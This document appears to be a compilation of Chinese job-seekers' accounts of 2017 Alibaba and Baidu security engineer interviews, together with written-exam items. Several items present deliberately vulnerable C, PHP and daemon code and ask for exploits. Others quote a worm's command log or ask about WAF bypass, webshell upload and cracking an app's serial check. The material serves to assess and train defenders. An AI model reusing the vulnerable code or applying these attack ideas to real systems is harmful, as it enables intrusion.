请注意! 这里统计的都是 拿到阿里offer的同学 不包括没有拿到阿里offer的.
按照ap自己不靠谱的小样本, 不转岗走到4面或者更多的基本是稳的.

一般来说, 评级高的人面试轮数也多. 面试轮数多的评级高的可能性也大。
这也是很好理解的,因为你厉害,所以公司在你身上消耗了更多的面试资源。
一句话, 按经验来说: 面得越多, 你越吊。

  1. 什么是阿里的交叉面? 哪些人有交叉面?

交叉面就是跨BU面. (ps: BU指阿里的事业群, 具体看这里 https://campus.alibaba.com/trems.htm)
就比如说你投的是淘宝, 然后天猫的人来面试你, 就是交叉面
一般来说, 厉害的同学才有交叉面;具体来说, 是评级在A及以上的同学
(据说是)为了避免部门内部恶意操纵评级。
<此句非常主观> 根据我的观察,交叉面刷人比较少,能走到交叉面,一般都能过。

有些面试官会主动说这轮是交叉面, 更多时候还是要自己问。
<此句非常主观> 按道理来说交叉面的面试官不会和自己的部门隔得太远。比如一个安全的, 不会前端的来面你。
但也有例外, 有同学遇到过方向完全不一样的交叉面。

一般是本部门的面试结束后进行一轮交叉面, 交叉面也是技术面,一般在HR面之前。

  1. 技术面过程中状态变成”已回绝”,但马上又出现另一个面试状态条, 为什么?

有几种可能性:

  1. 你水平不错, 但是不适合本部门, 帮你转到别的部门了
  2. 你被该部门刷了, 但是被另一个部门从简历池里捞起来了
  3. 如果有的话欢迎补充
  1. 为什么”更换职位”或者”更换城市”按钮变灰? 发生了什么?

首先恭喜, 这是好事
说明你的简历(或者面试)不错,已经被部门锁定,通过概率plus
如果你是定向内推的,那么”更换职位”按钮可能一开始就是灰的

2 春招内推电话1面
  • 对web安全的理解
  • 熟悉的漏洞+防范
  • udf提权
  • xssfuzzing
  • xss/csrf/sqli防范
  • mysql有哪些表
  • 如何日掉一个网站/思路
  • 如何代码审计
  • HTML5新安全策略
  • 自己找到过的代码审计问题
3.阿里春招

@ s1y1 集团安全部-数据安全方向-安全工程师-5面技术+hr面

时间有点久了,就把我记得的简单写一下,希望会留下点帮助。(本来还担心写不了多长,看到MiCigo的辣么短我就放心了:)

0x00 内推&测评

阿里的实习生招聘消息最早是在公众号(阿里巴巴招聘)上看到的,至于为什么会有这个公众号,大概是很久以前定的一个flag吧。然后就找在阿里的校友师姐帮我内推了,做好简历发给她,然后收到链接、完善简历、完成线上测评(智力题?。

要说一点的是简历部分,如果简历上奖项和项目实在太多(比如我 :)
一定要学会取舍,删去和安全无关的小奖,重点介绍和你想申请的岗位方向(方向会贴心的让你选择)有关的项目和学习经历,不过英语数学方面的奖是加分项,可以适当保留。

0x01 一面 简历评估 45min

当我做完测评的第二天就接到了一面电话,处于什么都没准备的状态,还好实验室晚上没人,比较安静。就全程凭借知识积累与一颗平常心回答了各种问题——
一面应该是比较简单的简历评估,无非是按照简历问问基础知识和项目经历。由于我的方向是数据安全,做过和密码应用相关的几个项目,所以被问到的问题和大多数大佬们的不太一样,记得的有:

  • 分组密码的加密模式
  • 初始向量IV的作用
  • AES/DES的具体工作步骤
  • 沙盒是什么有什么作用
  • 简单介绍下MAC消息认证码
  • XSS、SQL的防御措施
  • 算法问题:Dijkstra算法思路(迷醉

除了这些还简单问了下项目经历和竞赛经历,然后看到我参加的英语竞赛和英语写作之星竞赛,就问了下我的英语水平,应该还算满意。

换我问他问题的时候,我看了一眼钟,已经快9点了,毫不犹豫地问他你怎么还不下班(严肃脸),然后他表示五点半就可以走了,不强制加班 ( ᵒ̶̷̤́ ౪ ᵒ̴̶̷̤̀ )/~

0x02 技术主管面 60分钟

没有像一面一样问太多基础知识,从自我介绍开始就不停地暂停我,追问各种经历的细节,比较具体的问了我的三个项目,每个项目都希望我能把模型、实现的协议、算法讲的让他完全理解。不仅如此,他还对其中一个还表示怀疑,我解释了挺久发现他提出的问题确实存在,只是我们当时做的时候默认这种情况不存在,受教了Orz…

关于竞赛和刷题的细节问题也问了挺多,类似:

  • 数模网络流量那题建了什么模型,怎么改进的算法?用什么语言实现的?用了哪些库?
  • 看到我有Coursera证书,就具体问了课程上的某道题怎么解决的?
  • 又问了两道Crypto-Hackthon的题目。(这些都是简历中有提到的
  • 抓包分析使用IPSec前后看到的包内容有什么不同?顺带问了下各层协议包的构成。

所以二面之前最好回顾一下之前做过的所有东西,尤其是一些创新点、花了时间和精力解决的点(相信你也忘不了),事先回忆过一遍这些,在面试官提问时就可以尽快在大脑中搜索提取。

0x03 交叉面 30分钟

在二面过了一个星期后接到了预约三面的电话,居然告诉我是一个身在西雅图的巨巨想跟我聊聊,瑟瑟发抖,保持清醒确认了一下是用中文,长吁一口气,便把二面中觉得自己回答的不够好的问题准备了一下,准备第二天大早上爬起来接受跨洋面试(因为有时差 要早起= =)

由于hr小姐姐和我自己的疏忽导致算错了时差,在多等了一个小时后,非常“准时”地接到了电话。

大佬很和蔼,一上来就做了他的自我介绍,并告诉我他是负责阿里云的,所以我就把三面算作交叉面吧。同样聊了聊项目(所以项目经历很重要!)问了问我具体负责的部分,使用的算法以及为什么考虑用它们、安全性分析等等。然后他说前两面对我基础知识掌握情况的评价非常高就不再多问了,然后,开始和我聊人生!~ 至今都很感谢这位面试官给我在实习和上研方向上的指点与建议。

0x04 继续技术?群面 10+3分钟

一开始接到这个电话我以为该hr面了,没想到他(对!对面不止一位面试官)说再加一轮技术面,这一面比较短,比较具体地了解了我之前做过的一个模型,还问了我擅长用什么语言处理这类问题,然后介绍了他们要着手做的一个case,问我有什么想法,我按照以前的经验,提出了一个简单的思路,他们觉得可以,然后就问了问我实习的时间,简单聊了几句后就挂了电话。

5分钟后,他们又打来了电话。。问我大四有没有什么事情,我说我想保研,他们也表示支持,没多说什么就挂了电话。

0x05 总监面 20分钟

我也不知道为什么又多出来了这个总监面,而且这一面在四面结束的第二天晚上,我正在外面吃饭,便推到了晚上再面,我本来以为这是hr面,还紧急向群里求助hr都会问什么问题。

结果还是技术面,而且就是现在的部门总监面的。一样又把项目具体地和老大描述了一遍,他觉得很有意思、想法不错,同时提醒我,真正实习时遇到的问题会比想象中困难,要做好准备接受挑战,然后和我介绍了他们要做的事情问我有没有兴趣,当然有兴趣!总监的时间也比较宝贵,于是就比较简短地结束了最后一轮技术面。

0x06 hr面 20分钟

经历了5轮技术面后,在真正的hr面到来时我已经看开了,小姐姐问了很多很抽象的问题,凭着感觉表达真实的自己就好,记得的问题有:

  • 怎么平衡学业与竞赛
  • 用三个形容词形容自己
  • 作为女生,是什么支撑着你走技术这条路
  • 介绍下印象最深的一段学习经历

收到阿里的Offer算是一个圆梦,不过这只是一个新的开始。立好下一个flag,做一个充实的海绵吧,共勉。

很高兴在群里结识各位大佬,以后在工作生活中有安全其他方向上的问题也会向各位请教,谢谢大家了,同时我也会更加努力学习进步~

4.八面大佬

答^(* ̄(oo) ̄)^信息:大三,安全工程师,bin,集团安全部。

最近看到有几个群在发我这个回答的截图=。=让我很懵逼,特地来解释一番。
首先为什么我面了这么多轮,这个问题我也费解了很久…后得知,是前面的面试评价让HR无法判定我适合去哪个部门,所以后面让不同部门的大佬和我聊了一下。就这么简单……万幸最后给我分配到的部门和工作是我第一意向,除了多了一部分以前完全没干过的内容(正在恶补ing)。还是很感谢面试官大哥们对我的提点以及HR姐姐的负责:)
要知道面了这么多轮我也是心神憔悴啊…写这个回答是希望能给之后的学弟学妹们留一个面经,比较懒还没详细写,看这个情况还是不取消匿名了=。=
总结下我阿里的面试,虽然面的是安全工程师-Bin方向,但是后半程基本围绕:编程,算法数据结构,操作系统,编译原理,内核展开了。希望学弟学妹们在提升自己安全技术同时,不要忽略这些基础知识,加油啦!

以下是原答案
=============分割线=================
2017-3-3 投递简历
2017-3-15 一面 简历评估面
2017-3-16 二面 漏洞挖掘
2017-3-16 三面 内核攻防
2017-3-22 四面 交叉面
2017-4-5 五面 大佬,超级大佬,全线碾压,认真聆听前辈教诲
2017-4-5 六面 大老板,谈人生谈理想,部门介绍
2017-4-7 七面 又一位大佬,聊得很愉快
2017-4-13 HR面 HR姐姐感冒了,加班很辛苦,手动送上一杯热水
2017-4-14 周五晚七点多正在上课,突然收到录取短信 + 邮件,开心的像个傻孩子:)

周末和父母、学长还有导师聊了许久。多方权衡,最终在阿里和鹅厂之间选择了阿里。
祝福还在焦急等待的童鞋们早日拿到offer,和大佬们在杭州面基啊!!!
暂时匿名

5.春招笔试
公司 阿里巴巴
时间 2017.04.24晚
形式 网页, 在线, 有摄像头
长度 18题, 90分钟
备注 每个人题目各不一样

整理自群文件(306335642)
题的编号是非官方的, 仅供讨论方便

题目
  • 2017_ali_spring_1

    www.vuln.xxx/show_pic?image=http://image.test.com/1.jpg
    上述URL可能引起的安全问题有哪些?详细阐述下,如果存在该漏洞会产生什么危害?通常情况下,你会如何利用?
    
    
* 2017_ali_spring_2
    
TCP和UDP协议的区别?路由器、交换机、防火墙等网络设备在配置ACL时应注意哪些问题?
    
* 2017_ali_spring_3
    
​```txt

    以下c代码是否包含安全漏洞,如存在漏洞,请说出漏洞如何触发?
    bool funcA(unsigned int cbSize){
        if (cbSize < 1024) {
        char *buf = new char[cbSize-1];
        memset(buf,0,cbSize-1);
        delete buf;
        return true;
    }
        else
        return false;
    }
  • 2017_ali_spring_4
    ```txt

    代码所执行的环境是Linux kalilocal 4.9.0-kali1-amd64 (2017-01-30) x86_64 GNU/Linux
    如果编译命令是gcc test.c -o test ,请你写出可以获取secret 的所有方法

    #include <fcntl.h>
    #include <unistd.h>
    #include <stdio.h>
    char secret[10];
    int create_secret(){

      int fd;
      fd = open("secret",O_RDONLY);
      read(fd,secret,10);
      return 0;
    

    }
    int main(){

      char format[10] = "%s";
      char username[10];
      create_secret();
      scanf(format,username);
      printf(format,username);
      return 0;
    

    }


* 2017_ali_spring_5
```txt

现有办公网、生产网各一份DNS服务器采集的DNS日志,包括时间、请求域名domain、请求类型type、返回值value、源IP、源端口信息。
根据这两份数据,分别阐述你可以产出什么类型的安全告警,并作简要思路说明。
  • 2017_ali_spring_6
如何通过数据分析的方式检测出一个系统账户被非其所有人使用
  • 2017_ali_spring_7
以下是一份iOS crash日志,这份日志里面有哪些问题?应该如何分析?
  
  Incident Identifier: 12F51135-7348-4683-9CF2-2285669EAB89
  CrashReporter Key:   670f3f77d42a1d3e752f10392bb38290eebf5af9
  Hardware Model:      iPad4,1
  Version:             1.0.0.02220012 (1.0.0)
  Code Type:           ARM-64 (Native)
  Parent Process:      launchd [1]
  Exception Type:  EXC_BAD_ACCESS (SIGBUS)
  Exception Subtype: KERN_PROTECTION_FAILURE at 0x000000010a463500
  Triggered by Thread:  0
   
  Filtered syslog:
  None found
   
  Thread 0 name:  Dispatch queue: com.apple.main-thread
  Thread 0 Crashed:
  0       ???                             0x10a463500 0x00000000 + 0x10a463500
  1       JavaScriptCore                  0x187eeea88 0x187b14000 + 0x3daa88  // long long JSC::APICallbackFunction::call(JSC::ExecState*) + 0x1a4
  2       JavaScriptCore                  0x187b5a3b4 0x187b14000 + 0x463b4   // JSC::LLInt::setUpCall(JSC::ExecState*, JSC::Instruction*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) + 0x1dc
  3       JavaScriptCore                  0x187f9dd68 0x187b14000 + 0x489d68  // llint_entry + 0x5c58
  4       JavaScriptCore                  0x187f97ef8 0x187b14000 + 0x483ef8  // vmEntryToJavaScript + 0x138
  5       JavaScriptCore                  0x187ec4c48 0x187b14000 + 0x3b0c48  // JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) + 0xb4
  6       JavaScriptCore                  0x187b45660 0x187b14000 + 0x31660   // JSC::Interpreter::execute(JSC::ProgramExecutable*, JSC::ExecState*, JSC::JSObject*) + 0x200c
  7       JavaScriptCore                  0x187c9dab0 0x187b14000 + 0x189ab0  // JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr&) + 0x1b8
  8       JavaScriptCore                  0x187ee8964 0x187b14000 + 0x3d4964  // JSEvaluateScript + 0x1a0
  9     + libcycript.dylib                0x10aaab6c0 0x10aa64000 + 0x476c0   // CYExecute(OpaqueJSContext const*, CYPool&, CYUTF8String) + 0x9c
  10    + libcycript.dylib                0x10aad0af0 0x10aa64000 + 0x6caf0   // CYPerform(void*) + 0x44
  11      CoreFoundation                  0x1864a0544 0x1863c4000 + 0xdc544   // __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ + 0x18
  12      CoreFoundation                  0x18649ffd8 0x1863c4000 + 0xdbfd8   // __CFRunLoopDoSources0 + 0x21c
  13      CoreFoundation                  0x18649dcd8 0x1863c4000 + 0xd9cd8   // __CFRunLoopRun + 0x2d4
  14      CoreFoundation                  0x1863ccca0 0x1863c4000 + 0x8ca0    // CFRunLoopRunSpecific + 0x180
  15      GraphicsServices                0x191434088 0x191428000 + 0xc088    // GSEventRunModal + 0xb4
  • 2017_ali_spring_8
  在android的加壳的方案里,很多壳都会引入反调试机制。列举你所知道的反调试技术,三种以上,并给出原理。
  • 2017_ali_spring_9
  作为一个安全研究者, 你能想到哪些办法对家里的IoT设备进行加固, 避免其遭受黑客攻击?
  • 2017_ali_spring_10
  以下为某蠕虫执行命令日志,请问这个蠕虫想通过这些命令达到什么效果。
  
  /bin/busybox echo -e '\\x6b\\x61\\x6d\\x69/run' > /run/.nippon; /bin/busybox cat /run/.nippon; /bin/busybox rm /run/.nippon
  /bin/busybox echo -e '\\x6b\\x61\\x6d\\x69/tmp' > /tmp/.nippon; /bin/busybox cat /tmp/.nippon; /bin/busybox rm /tmp/.nippon
  /bin/busybox echo -e '\\x6b\\x61\\x6d\\x69/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon
  /bin/busybox echo -e '\\x6b\\x61\\x6d\\x69/run' > /run/.nippon; /bin/busybox cat /run/.nippon; /bin/busybox rm /run/.nippon
  /bin/busybox echo -e '\\x6b\\x61\\x6d\\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
  /bin/busybox echo -e '\\x6b\\x61\\x6d\\x69/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon
  • 2017_ali_spring_11
  如何给linux web服务器做加固,请简述步骤。
  • 2017_ali_spring_12
通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?
  • 2017_ali_spring_13
linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。
  • 2017_ali_spring_14
你通过某爬虫获得了 *.aliyun.com 下100万条URL(包括动态页面、静态资源等URL),接下来你打算对这些URL进行黑盒扫描。
为了提高扫描效率,你需要对这些URL进行去重。请简述你的URL去重方案及理由。
  • 2017_ali_spring_15
请简要描述最近的struts2 S2-045漏洞的原理,及构造POC需要满足怎样的条件?
  • 2017_ali_spring_16
  请分析如下代码有何漏洞,并给出exploit。
  
  [左尖括号]?php
  if (isset($_POST['upload'])) {
      $upload_dir = "uploads/";
      $file_name = $_FILES['file']['name'];
      $file_extension = substr($file_name, strrpos($file_name, '.') + 1);
      $file_type = $_FILES['file']['type'];
      $file_size = $_FILES['file']['size'];
      if (($file_type == "image/jpeg" || $file_type == "image/png") && $file_size <
  100000) {
          $save_file_name = time();
          $save_path = $upload_dir . $save_file_name . "." . $file_extension;
          if (!move_uploaded_file($_FILES['file']['tmp_name'], $save_path)) {
              echo "your image is not uploaded";
      } else {
          echo "wrong file type.Only accept images";
      }
  }
  • 2017_ali_spring_17
  小明对一站点进行渗透测试,发现一处参数明显存在shell命令注入问题。
  但是"| ls","' && ls #"等方式均无法执行成功命令。
  请分析具体的情况,并给出各种情况下的测试步骤。
  • 2017_ali_spring_18
  请说出网络防火墙的不同类别,它们分别在安全上有什么优势和缺点,
  以及在大型互联网公司,更适合采用何种网络防火墙,为什么?
  • 2017_ali_spring_20
  请阅读下面一段汇编代码,判断其是否存在安全漏洞?如果存在,请指出漏洞成因
  
  make_table      proc near
  src             = qword ptr -20h
  var_18          = dword ptr -18h
  n               = qword ptr -14h
  size            = qword ptr -8
   
                  push    rbp
                  mov     rbp, rsp
                  sub     rsp, 20h
                  mov     dword ptr [rbp+n], edi
                  mov     [rbp+var_18], esi
                  mov     [rbp+src], rdx
                  mov     eax, dword ptr [rbp+n]
                  imul    eax, [rbp+var_18]
                  mov     dword ptr [rbp+size], eax
                  mov     eax, dword ptr [rbp+size]
                  mov     rdi, rax        ; size
                  call    _malloc
                  mov     [rbp+n+4], rax
                  cmp     [rbp+n+4], 0
                  jnz     short loc_4005D6
                  mov     eax, 0
                  jmp     short locret_400611
  loc_4005D6:
                  mov     dword ptr [rbp+size+4], 0
                  jmp     short loc_400605
  loc_4005DF: 
                  mov     edx, dword ptr [rbp+n] ; n
                  mov     eax, dword ptr [rbp+size+4]
                  imul    eax, dword ptr [rbp+n]
                  mov     ecx, eax
                  mov     rax, [rbp+n+4]
                  add     rcx, rax
                  mov     rax, [rbp+src]
                  mov     rsi, rax  
                  mov     rdi, rcx       
                  call    _memcpy
                  add     dword ptr [rbp+size+4], 1
   
  loc_400605:
  • 2017_ali_spring_21
  现有办公网、生产网各一份DNS服务器采集的DNS日志,
  包括时间、请求域名domain、请求类型type、返回值value、源IP、源端口信息。
  根据这两份数据,分别阐述你可以产出什么类型的安全告警,并作简要思路说明。
  • 2017_ali_spring_22
  Objective-C语言里的isa是什么?
  • 2017_ali_spring_23
  有什么利弊?小明周末去星巴克喝咖啡,回到家后,发现他的微博帐号被人盗用了。请问可能发生什么事情了,原理是什么,如何防范
  • 2017_ali_spring_24
  分别介绍下method-swizzling和isa-swizzling,以及它们通常用在什么场景下?
  • 2017_ali_spring_25
  淘宝日常流量中有一部分不法人员通过机器批量秒杀商品,
  或者通过web安全技术对阿里的系统进行攻击盗取账号等,对消费者和商家造成一定危害,
  如果现在要你通过一套算法体系准确区分出正常流量和恶意流量?
  如果有对正常流量的错分类,该如何做?
  • 2017_ali_spring_26
  请说出至少3个IOT设备使用的网络通信协议,并简述其特点。
  • 2017_ali_spring_27
  描述cloudbleed漏洞的主要成因。
  • 2017_ali_spring_28
  如下是某司批量执行普通员工提交任务的守护进程,普通员工通过创建文件/opt/task/tasklist.sh提交任务,其核心逻辑如下:
  struct stat info;
  stat("/opt/task/tasklist.sh", &info);
  setgid(info.st_gid);
  setuid(info.st_uid);
  system("/opt/task/tasklist.sh");
  该进程运行时状态如下:
  UID        PID  PPID  C STIME TTY          TIME CMD
  root      4337  3977  0 15:29 pts/2    00:00:00  supervisor
  该程序存在严重漏洞,请给出exploit。
  请分析该代码违反哪些安全编码原则?如何设计自动化审计程序发现所有代码中存在的问题?
  • 2017_ali_spring_29
  如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。
  • 2017_ali_spring_30
  某非著名购物网站最近发现总是收到用户投诉订单信息被泄漏,
  网站安全专家严格排查了服务器和数据库的日志,没有发现入侵迹象,
  但发现在web访问日志有一个用户访问订单页面的次数非常多而且url中的订单号是连续的,
  网站安全专家马上明白了问题所在,
  请问安全专家明白了什么?这个问题如何解决?
  • 2017_ali_spring_31
  一个blog系统中如果需要使用富文本编辑器,
  用来展示图片、不同的字体和格式需要使用html中的富文本标签例如等,
  在这种场景下,可能会存在哪些方面的安全风险,应该如何进行防御?
  • 2017_ali_spring_32
  对于如下模版:
  
  
  
  其中a,b为用户输入的参数,过滤了单引号和尖括号,是否存在xss漏洞,若存在给出利用代码
  • 2017_ali_spring_33
简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。
  • 2017_ali_spring_34
请列出黑客绕过WAF的安全防护的方法,并简述如何实现?
  • 2017_ali_spring_35
比特币挖矿软件的常用协议有哪些, 
如何在网络层去检测挖矿行为, 给出检测方案.
 具体题干未知. 
  • 2017_ali_spring_36
给了一段android权限的xml, 要求描述可能操作
 具体题干未知. 
  • 2017_ali_spring_37
botnet有哪些威胁 如何检测 如何解决
 具体题干未知. 
  • 2017_ali_spring_38
服务器代理技术分为哪几类? 在安全上分别有怎样的应用? 分别面临怎样的安全风险?
  • 2017_ali_spring_39
通过Fuzz对某个开源工具进行漏洞挖掘,
如果使用该工具进行Fuzz并长时间未能得到任何结果, 
应该如何诊断问题并改进Fuzz方法
  • 2017_ali_spring_40
请写出一个尽可能完整的http请求包,并分析哪些字段可用作攻击,写出具体的场景和对应的安全风险。
  • 2017_ali_spring_41
日常生活中用算法解决了什么问题
 具体题干未知. 
  • 2017_ali_spring_42
为了通过日志排查营销活动中批量小号抽奖的行为, 
请设计需要获取的事件格式,并且制定识别策略。
  • 2017_ali_spring_43
逆向工具打开一个APK的dex, 发现所有类名都是a b v a$a 之类的。
这种命名是如何实现的, 针对这种命名, 如何进行高效的逆向分析?
 具体题干未知.
  • 2017_ali_spring_44
当前IOT设备存在哪些安全问题, 硬件+软件 如何防御
 具体题干未知.
  • 2017_ali_spring_45
黑客入侵以后, 加密所有数据对使用者进行勒索, 从os和sql考虑如何防御.
 具体题干未知.
  • 2017_ali_spring_46
基于docker容器技术为客户提供服务, 看服务器运行docker容器时的进程信息, 分析服务器平台自身是否存在风险
 具体题干未知.
  • 2017_ali_spring_47
某LNMP架构的大型网站存在文件包含漏洞, 没有上传点, 
如何利用该弱点上传webshell, 如何防御
 具体题干未知.
  • 2017_ali_spring_48
如何实现一个被动web扫描器, 要有亮点功能
 具体题干未知.
  • 2017_ali_spring_49
IoT攻防和普通计算机网络攻防的区别
 具体题干未知.

非常欢迎补充或者给出自己的参考答案!

百度 Baidu

1 baidu@邮箱投递电话1面
  • 如何做扫描器 思路
  • 创宇wooyun的扫描器原理
  • 扫描器为什么要这么设计
  • 企业安全应急响应 如何获取指纹
  • 如何获取大量指纹信息
  • sql注入类型
  • sql注入点寻找思路
  • sql如何报错
  • 宽字节注入原理/在哪里编码/如何防范
  • sql里面只有update怎么利用
  • mysql和sqlserver注入时候的区别
  • dom xss 原理/防范
  • 存储型xss原理
  • xss防范
  • xss过滤放在输入还是输出好
  • 如何快速发现xss位置
  • 如何绕过http only
  • xss worm原理
  • 如何保护dom不被修改 防止dom xss
  • sql注入思路,首先测试什么
  • sql如何写shell/单引号被过滤怎么办
  • 同源策略
  • html5安全/websocket
  • cookie参数,security干什么的
  • 平时用什么语言开发
  • 写过什么项目
2.baidu@二面 重点:基本漏洞原理防御
  • 介绍
  • 学习了多久web安全 学了啥
  • (就介绍内容提问,系统观)
  • webserver最重要的是什么/流程
  • 熟悉的语言 写过什么
  • 最熟悉的漏洞 原理 防范
  • xss/sql/原理防范,利用方式,能用来干啥
  • csrf如何不带referer 如何防范
  • xss绕过同源策略/获取另外网站的/子站的
  • 同源策略 是什么 why
  • 给写php的人安全建议
  • php非安全的函数
  • ddos原理
  • 反射原理
  • dns协议在哪一层 什么时候用tcp
  • 网络协议脆弱性了解
  • tcp/udp区别 如何做可靠性连接 why
  • tcp可不可以反射dns做ddos
  • 漏洞挖掘经验
  • 代码审计经验
  • 漏洞深入研究经验
  • 实习能来多久(小于3个月似乎不要?)
  • 实习的话想干什么
  • 有什么没问到的方面
  • 扯到的:百度xss防范机制/大网站子站安全性
3.百度安全工程师一面总结
0x01 自己问题

面试官还是很和蔼的,之前一直很紧张,开始聊之后心情好多了。问到了项目经历,其实感觉自己对自己做过的项目已经很了解了,结果还是被问到的很多都不是很清楚。哎。。心塞!

首先第一个问题就是自己“基于机器学习的垃圾短信检测系统”选用的机器学习算法。为什么选用这个算法。跟其他算法比较有什么优势。差点问懵了。当时自己选用贝叶斯算法的时候确实没有做过多的比较,只是和神经网络算法比较了下。就选定了,这是典型的知其然,不知其所以然。这让我想起来自己之前知乎看到的一个关于java三大框架的问题,你在学框架之前首先需要知道没有框架人们是怎么做的,框架做了什么,然后你就知道为什么用框架了,也就明白框架的特性了。现在深以为然。

第二个问题,就是关于自己整个样本选择和测试的问题。其中暴露的问题也很多啊,不规范是最大的问题。细节决定成败啊。

第三个问题自己写的识别率太高。面试官说百度,阿里也在做这一块,但是他们都不敢说识别率有这么高。顿时有点小尴尬。原因又回到之前第二个问题了,样本选择和测试不规范。

0x02 共性问题
2.1 算法问题

问题:给一段有序数组,然后给一个数字K(K未知),然后将k及其k之前的数字挪到数组之后,现在考虑时间复杂度和空间复杂度找到最小数字的下标。

答案:第一种:遍历(面试官说这个就不用说了,笑!);

第二种:分段方法;

自己在情急之下也就想到了这种算法,取一个数组的第一个、中间一个,以及最后一个数字,判定其大小。那么有三种情况。

第一种,如果k=0,那么三个数字之间属于递增
第二种,如果k不大于数组长度的一半,三个数字之间分别是中,大,小。那么k的值可以确定为0<k<(length/2)+1;
第三种,如果k大于数组长度的一半,三个数字之间分别是大,小,中。那么K的值可以确定为(length/2)<k<length+1;

2.2 数据结构

给一段后序和中序遍历,给出先序遍历,结果没找到笔,面试官说换一道题吧!也是醉了。

2.3 linux shell

有是个名字是“baidu_”的进程,编写脚本kill掉,这个真心不会。哎,早知道自己渣渣shell水平就不该写。

2.4 操作系统
(1)死锁以及为什么发生死锁,解除死锁。

操作系统差不多都忘完了,所幸这个还记着一点。回答的不是很好,但是大概讲清楚了。

(2)进程之间通信方式

信箱,管道,消息(忘记说这个了),共享存储区。

0x03 总结

总之百度一面知识都是很基础,而且面试官也说了,一面考察基础。之后的才是安全。感觉自己答的还可以,但不是很好。最后真的想问下面试官能不能进二面,感觉不太礼貌。所以没问。希望可以通过吧。加油↖(^ω^)↗。

4.百度安全工程师二面总结
0x00 前言

昨天上午面完一面之后,下午就收到了二面通知,但是当时比较急。所以只好推到了今天上午,又是一次洗礼。虽然只有两面,但是还是感觉到了一点面试的小诀窍。比如都是问项目,比如都是问一些比较基础的知识。

0x01 自己问题

依然是聊项目,发现其实只要有项目一般情况下都是聊项目问题。先是第一个项目。

这部分其实略过不表了,因为大部分问的都是项目细节。主要目的是验证这项目是不是你的啊,另外因为这项目是纯开发的,跟安全关系不大,面试官也不想问,本来不想写,但是我觉得安全也得有开发啊,真是的!(我也是这么跟面试官说的,认真脸)

我发现每次面试官都能找到新的点来问。虽然同样是“基于机器学习的垃圾短信检测”项目,但是昨天和今天问的问题就几乎不一样。我也是醉了,一个项目竟然有这么多点可以挖掘。现在回忆下问题吧。

恶意网站识别用的什么技术?识别率怎么样?
你当时机器学习算法还选用了什么算法,为什么当时选择贝叶斯算法?
贝叶斯算法和朴素贝叶斯算法有什么区别?(没回答上来,感觉好是尴尬)
你这个项目做什么的?你在其中具体做什么的?(滔滔不绝说了十分钟,估计面试官听累了)
为什么目标选择淫秽色情和赌博类网站?
如果一个网站是纯图片,怎么识别这个网站的安全性?(当时想到用OCR识别,但是想不到其他的了,知道的麻烦讲下)

0x02 共性问题

你怎么理解sql注入?
你怎么理解xss攻击?
你怎么理解csrf?
你对病毒了解的怎么样?问完这个问题,我又滔滔不绝说了两三分钟,面试官说我不听感染机制和原理,问我怎么分析这个病毒的,我说获取了源代码。他说如果没有源代码,你会逆向吗?我说没接触过,他说好的,那就这样吧!这样吧!这样!吧!不过最后补充一句说,注意后续的通知。(难道我这是有戏么?傅园慧逗逼脸。。。。)

0x03 总结

每次面试期间都是口干舌燥,估计是有点紧张,其实今天总体感觉不是很好,说白了就是还不如昨天。就这样吧,洗洗涮涮睡一会,醒来去见女朋友!

百度安全工程师终极面总结

期盼了两天,算是完成了最后的面试。面试完之后心里一直很不平静。

首先和三面面试官聊得时间很短,当然这是相对前两面试官来说的。在这短短的时间之内,自己回答的也不是很好,面试官问的问题:你在项目中遇到的最大的困难是什么?当时感觉自己状态不是很好,瞬间有点懵。说了一些项目当中遇到的问题,但是个人感觉这些问题真的都很简单,没有一点代表性。面试官也说希望我说一些代表性的问题,能够看出来我的性格和能力还有想法的。怎么讲呢?对于这种抽象的问题自己准备不足。另外就是可能最后一面有点紧张。困难实际上真的是有的,只是不知道为什么当时的情景下自己想不起来。

最后面试官说没什么可以问的了,问我有什么想说的。我说自己代码还好,直接走开发也是可以的。面试官说那你给我看下你代码,把你写的最好的发过来。这是自己第二个失败的地方。自己硬盘在一个月前down掉了,结果什么都没有剩下。想解释但是又感觉说出来未免不可信。挂完电话只好将自己前段时间写的挺烂的代码发过去。事后想想这是第三个败笔。其实可以跟面试官说,给我制定需求,我在指定时间之内去实现提出的需求,但是自己没有讲。

写在最后

总的来说百度三面的问题很多,好多自己真实的情况都没有展示给面试官。权当是个教训吧。希望以后自己再这些地方不再入坑,有些事情真的是一念之间。

5.百度春招
公司 百度
时间 2017.04.27晚
形式 网页, 在线, 有摄像头, 赛码网
题型 简答*10 算法*2 系统设计题*1
时长 2小时

警告! 此处有坑
尽管邮件中说是可以用本地IDE, 但是实际上不可以跳出!

题目
  • 2017_baidu_spring_1

请回答如下端口默认对应的服务,以及在渗透测试过程中我们可以从哪些角度考虑其安全问题。

端口:21、22、873、1433、3306、6379、11211

  • 2017_baidu_spring_2

你所知道的网络抓包工具有哪些?对android或者ios设备怎么进行抓包。

  • 2017_baidu_spring_3

请说明黑客常用的清除痕迹的方式及对应的监控方法(linux和windows系统)

  • 2017_baidu_spring_4

罗列最近几年影响较大的安全漏洞并请大概介绍其原理、危害(请列举3个)

  • 2017_baidu_spring_5

介绍你所知道的加密算法,都属于什么类型的加密算法?怎么保证加密的安全性?

  • 2017_baidu_spring_6

    PHP中了解有哪些容易导致漏洞的危险函数?并且简述会造成什么类型的风险

  • 2017_baidu_spring_7

    文件包含漏洞的常见WAF绕过方式(以读取/etc/passwd为例)

  • 2017_baidu_spring_8

    现有一个需要注册才能使用的Android APP,打开APP时,
    显示:请输入正确的序列号。如序列号不正确,提示:你输入的序列号错误。
    问:如何对该APP进行分析破解,用最简单的,使之输入任意序列号即可使用。
    请描述分析方法、使用工具

  • 2017_baidu_spring_8

    请描述PE文件加壳、脱壳步骤?

